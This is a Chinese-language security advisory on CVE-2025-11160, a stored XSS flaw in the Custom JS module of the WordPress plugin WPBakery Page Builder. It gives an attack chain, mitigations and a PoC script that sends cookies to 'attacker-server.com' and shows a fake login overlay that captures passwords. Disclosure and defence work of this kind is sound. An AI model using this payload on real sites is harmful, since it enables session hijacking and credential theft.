IPBUF安全漏洞报告
English
CVE-2025-11160 CVSS 6.4 中危

CVE-2025-11160 WPBakery页面构建器存储型XSS漏洞

披露日期: 2025-10-15

漏洞信息

漏洞编号
CVE-2025-11160
漏洞类型
存储型跨站脚本(Stored XSS)
CVSS评分
6.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
WPBakery Page Builder(WordPress插件)

相关标签

CVE-2025-11160Stored XSS存储型跨站脚本WPBakeryPage BuilderWordPress插件漏洞Custom JS中危漏洞权限提升

漏洞概述

CVE-2025-11160是WPBakery Page Builder插件中存在的一个存储型跨站脚本(Stored XSS)漏洞,该插件是WordPress中广泛使用的可视化页面构建工具,拥有超过百万级别的活跃安装量。该漏洞存在于插件的Custom JS(自定义JavaScript)模块中,影响所有8.6.1及以下版本。

该漏洞的根本原因在于插件对用户输入的JavaScript代码缺乏充分的输入净化(input sanitization)和输出转义(output escaping)处理。攻击者可以通过Custom JS模块注入恶意的JavaScript代码,这些代码会被持久化存储在服务器端,当其他用户访问包含恶意代码的页面时,恶意脚本将在受害者浏览器中自动执行。

由于该漏洞的利用需要至少贡献者(contributor)级别的WordPress账户权限,因此攻击门槛相对较低。在多作者博客、开放投稿平台或社区驱动型网站中,恶意贡献者可以利用此漏洞获取管理员权限、窃取用户会话、植入后门或进行钓鱼攻击。CVSS评分为6.4,属于中等严重级别,但考虑到WPBakery的广泛使用范围和WordPress生态系统的特点,该漏洞的实际影响不容忽视。该漏洞由Wordfence安全团队的安全研究员发现,并于2025年10月15日公开披露。

技术细节

WPBakery Page Builder的Custom JS模块允许页面编辑者在页面或文章中嵌入自定义JavaScript代码,以实现动态交互效果。然而,该模块在处理用户输入时存在以下安全问题:

1. **输入净化不足**:插件未对用户提交的JavaScript代码进行充分的过滤和验证,允许包含恶意payload的脚本代码被保存到数据库中。

2. **输出转义缺失**:当页面被渲染时,Custom JS模块中存储的代码未经适当的HTML实体编码或上下文感知转义即被输出到前端页面,导致浏览器将其解析为可执行脚本而非纯文本。

3. **权限控制缺陷**:虽然该功能需要至少贡献者级别的访问权限,但插件未对Custom JS模块的访问进行更细粒度的权限控制,未限制可注入的代码类型。

**利用方式**:
- 攻击者首先获取一个WordPress贡献者级别或以上的账户(可通过注册开放网站或社工获取)。
- 登录WordPress后台,创建一个新页面或编辑现有页面。
- 在WPBakery编辑器中打开Custom JS模块,输入恶意JavaScript payload。
- 发布或保存页面,恶意代码被持久化存储。
- 当任何用户(包括管理员)访问该页面时,恶意脚本自动执行,可窃取cookie、会话令牌,或执行管理员级别的操作。

该漏洞的CVSS向量为CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N,表明通过网络即可利用,攻击复杂度低,需要低权限认证,无需用户交互,作用域发生变化,对机密性和完整性有低影响。

攻击链分析

STEP 1
步骤1:获取账户权限
攻击者通过开放注册、社工或购买等方式获取目标WordPress站点的贡献者(contributor)级别或以上账户。
STEP 2
步骤2:访问WPBakery编辑器
攻击者登录WordPress后台,创建一个新页面或编辑现有页面,并打开WPBakery可视化编辑器。
STEP 3
步骤3:注入恶意JavaScript
在WPBakery编辑器的Custom JS模块中输入恶意JavaScript payload,由于缺乏输入净化,恶意代码被接受并保存。
STEP 4
步骤4:发布/保存页面
攻击者将包含恶意代码的页面发布或保存为草稿,恶意JavaScript代码被持久化存储到WordPress数据库中。
STEP 5
步骤5:触发XSS执行
当任何用户(包括管理员)访问包含恶意代码的页面时,由于缺乏输出转义,恶意脚本在受害者浏览器中自动执行。
STEP 6
步骤6:权限提升与数据窃取
恶意脚本窃取管理员cookie、会话令牌,或通过伪造登录界面进行钓鱼攻击,进一步获取管理员权限,控制整个WordPress站点。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- PoC for CVE-2025-11160: WPBakery Page Builder Stored XSS via Custom JS Module Steps to reproduce: 1. Login as contributor or higher role in WordPress 2. Create a new post/page with WPBakery editor 3. Open the Custom JS module in WPBakery backend editor 4. Inject the following malicious JavaScript payload 5. Publish/save the post 6. When any user visits the page, the XSS fires automatically --> <!-- Malicious payload injected via Custom JS module --> <script> // Steal cookies and session information var img = new Image(); img.src = 'https://attacker-server.com/steal?cookie=' + encodeURIComponent(document.cookie) + '&url=' + encodeURIComponent(window.location.href); // Create a fake admin overlay for credential harvesting var overlay = document.createElement('div'); overlay.style.position = 'fixed'; overlay.style.top = '0'; overlay.style.left = '0'; overlay.style.width = '100%'; overlay.style.height = '100%'; overlay.style.backgroundColor = 'rgba(0,0,0,0.8)'; overlay.style.zIndex = '99999'; overlay.innerHTML = '<div style="background:white;padding:30px;margin:100px auto;width:400px;"><h2>Session Expired</h2><form action="https://attacker-server.com/phish" method="POST"><input name="user" placeholder="Username"><input name="pass" type="password" placeholder="Password"><button>Login</button></form></div>'; document.body.appendChild(overlay); </script>

影响范围

WPBakery Page Builder <= 8.6.1

防御指南

临时缓解措施
在无法立即升级插件版本的紧急情况下,建议采取以下临时缓解措施:1)暂时禁用WPBakery Page Builder的Custom JS模块功能;2)通过编辑插件源码临时注释掉Custom JS模块的渲染逻辑;3)部署Web应用防火墙规则,过滤Custom JS字段中的恶意JavaScript代码;4)审查所有贡献者及以上权限的账户,确保其可信;5)检查已发布页面中是否已存在恶意注入的JavaScript代码;6)启用WordPress安全插件(如Wordfence)的XSS防护功能;7)实施内容安全策略(CSP)头,限制内联脚本的执行。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表